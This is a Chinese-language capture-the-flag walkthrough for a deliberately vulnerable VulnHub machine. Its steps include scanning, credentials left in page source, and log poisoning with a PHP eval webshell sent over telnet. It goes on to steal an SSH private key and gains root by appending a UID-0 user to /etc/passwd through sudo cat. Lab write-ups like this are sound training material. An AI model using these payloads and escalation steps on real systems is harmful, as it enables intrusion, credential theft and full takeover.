靶机下载链接:
https://www.vulnhub.com/entry/21ltr-scene-1,3/
一、靶机搭建
设置网卡模式为仅主机
开机后ip地址在终端显示
ip地址为192.168.2.120
二、端口扫描
注意将kali也添加一个仅主机模式,与靶机设置在同一网段下
nmap 192.168.2.120
发现开启21、22、80、10001端口
三、访问80端口
扫描个目录看看
未发现有用的信息
我们F12查看页面源码可以发现一个用户和密码
logs #账号
zg]E-b0]+8:(58G #密码
尝试用该账号连接ssh服务和ftp服务,成功连接ftp服务
ls命令查看有一个文件
我们将其下载到本地查看
get backup_log.php /home/kali/Desktop/1.php
cat 1.php
发现是日志文件
我们想起来刚刚目录探测有一个logs目录,我们尝试访问
四、get shell
考虑到是日志文件,我们可以尝试将一句话木马写到日志文件中获取shell
这里利用10001端口写入
telnet 192.168.2.120 10001
<?php eval($_POST[hack]);?>
再次查看日志,发现写入成功
用蚁剑连接
连接成功
查看/etc/passwd的敏感信息
考虑到有ssh服务,我们可以使用密钥免密登录
读取密钥 /media/USB_1/Stuff/Keys/id_rsa
将其保存到本机上
用finalshell选择密钥连接
连接成功
五、提权
sudo -l
发现不需要密码的只有cat命令,我们就用它去提权
我们想到可以利用cat命令进行高权限用户写入
写入一个高权限用户到/etc/passwd
openssl passwd 123456
先用kali生成加密后的密码
然后新用户的格式为
newroot:$1$J1DRKiec$c6CXi9UUFTMKwHS6lk3bI1:0:0:/root:/bin/bash
将newroot用户写入到/etc/passwd
sudo /usr/bin/cat >> /etc/passwd
然后切换用户
su newroot
提权成功!